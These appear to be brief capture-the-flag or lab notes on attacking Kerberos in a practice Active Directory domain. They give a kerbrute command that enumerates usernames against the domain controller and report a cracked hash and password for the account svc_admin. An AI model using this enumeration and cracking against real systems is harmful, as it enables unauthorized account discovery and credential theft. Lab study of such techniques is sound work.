Kerberos

Enumerating usernames:

kerbrute userenum --dc spookysec.local -d spookysec.local users.txt

We get a hash for svc_admin: We can crack it: management2005